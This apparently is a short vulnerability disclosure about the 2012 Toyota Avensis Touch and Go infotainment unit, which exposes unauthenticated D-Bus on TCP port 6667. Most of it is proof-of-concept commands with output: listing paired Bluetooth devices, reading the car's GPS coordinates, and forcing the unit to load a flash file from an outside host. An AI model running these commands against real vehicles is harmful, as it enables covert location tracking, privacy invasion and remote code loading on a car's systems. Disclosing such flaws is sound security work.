Remote Access to Toyota Avensis 2012 model Touch and Go system via DBUS

Intro

Toyota Avensis have Touch and Go -system which can be connected to Internet via Bluetooth (Toyota Avensis 2012 model). Touch and Go -system has DBUS available via TCP port 6667 and there is no authentication of any sort. Via D-BUS you can control applications which are running on the Touch and Go system. You can get coordinates of the car, load external flash applications from Internet etc.

Details

Calling functions

It seems that there is Invoke-method in almost every service and that one is used to call lua/c-functions that take json-paramters and return json-parameters.

toyota-cmd.py

Using that we were able to:

  1. Get list of paired Bluetooth devices

    machine% python toyota.py com.harman.service.BluetoothService getPairedDeviceList ''
    {"pairedDeviceList":[{"serviceSearchList":[{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"HFPGW","priority":1,"connected":true},{"service":"HSPGW","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"PAN_NAP","priority":0,"connected":true},{"service":"AVRCP","priority":0,"connected":false},{"service":"SPP","priority":0,"connected":false},{"service":"PAN_GN","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false}],"name":"cn0011","address":"xx:xx:xx:xx:xx:xx"},{"serviceSearchList":[{"service":"HFPGW","priority":2,"connected":false},{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"DID","priority":0,"connected":false},{"service":"AVRCP","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"HSPGW","priority":0,"connected":false},{"service":"OPP_SERVER","priority":0,"connected":false},{"service":"PBAP_SERVER","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false}],"name":"ZTE-BLADE","address":"xx:xx:xx:xx:xx:xx"},{"serviceSearchList":[{"service":"HFPGW","priority":3,"connected":false},{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"PAN_NAP","priority":0,"connected":false},{"service":"OPP_SERVER","priority":0,"connected":false},{"service":"FTP","priority":0,"connected":false},{"service":"DUNGW","priority":0,"connected":false},{"service":"0000-1201-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"SPP","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"HSPGW","priority":0,"connected":false},{"service":"SyncMLClient","priority":0,"connected":false},{"service":"PBAP_SERVER","priority":0,"connected":false},{"service":"SAP","priority":0,"connected":false},{"service":"0000-1204-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"AVRCP","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false},{"service":"FBUS_RFCOMM","priority":0,"connected":false}],"name":"Nokia X3-02","address":"xx:xx:xx:xx:xx:xx"}],"description":"success","code":0}
  2. Get car GPS-position:

    machine% python toyota-cmd.py com.harman.service.Navigation MAP_PositionInfo ''
    calling MAP_PositionInfo()
    {"lat":65.06096196174622,"lon":25.44586372375488,"posInfo":null}
  3. Load any flash (swf) application from Internet:

    machine% python toyota-cmd.py com.harman.service.HMIService loadExternalSWF '{ "path":"http://www.sieni.us/H4X/29.swf" }'
    calling loadExternalSWF({ "path":"http://www.sieni.us/H4X/29.swf" })
    {"result":true}